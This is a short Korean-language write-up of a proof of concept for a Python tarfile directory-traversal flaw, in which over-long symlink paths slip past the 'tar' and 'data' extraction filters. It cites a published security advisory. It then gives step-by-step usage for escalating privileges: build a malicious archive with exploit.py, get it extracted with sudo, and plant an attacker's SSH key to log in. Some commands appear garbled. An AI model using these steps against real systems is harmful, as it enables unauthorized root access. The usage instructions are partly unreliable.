
Tarfile 모듈 디렉터리 트래버설 취약점 ( 오버플로로 디렉터리를 벗어남 ) --> 권한 상승으로 이어짐
영향 : 권한 상승
작동 원리 :
Python의 TarFile.extractall() 및 TarFile.extract() 메서드는 이러한 메서드를 더 안전하게 사용할 수 있도록 필터를 설정하는 기능을 지원합니다. Python 표준 라이브러리는 tarfile 추출의 안전성을 향상시키는 데 각각 다른 검사를 수행하는 두 가지 구현, tar_filter ("tar") 및 data_filter ("data")를 제공합니다.
심볼릭 링크가 포함된 경로가 PATH_MAX보다 짧지만 os.path.realpath()로 심볼릭 링크를 치환하면 PATH_MAX보다 길어지는 경우 버그가 발생합니다. PATH_MAX를 초과하는 심볼릭 링크는 확장되지 않습니다.
os.path.realpath()는 "tar" 및 "data" 필터가 경로를 검증하는 데 사용하지만 PATH_MAX를 초과해도 오류가 발생하지 않습니다. 이후 extractall() 또는 extract() 중에는 경로가 os.path.realpath()를 거치지 않고 사용됩니다.
참조 : https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
PoC 사용 방법 :
ssh-keygen -t ed25519 -f any
mkdir test
mv any.pub authorized_keys
cp authorized_keys /test
cd test
#Put your public key file name (authorized_keys)
python3 exploit.py
(file.tar) ~ generated
# Now using Python3
sudo python3 tar -xvf file.tar
#login
chmod 600 any
ssh -i any user@ip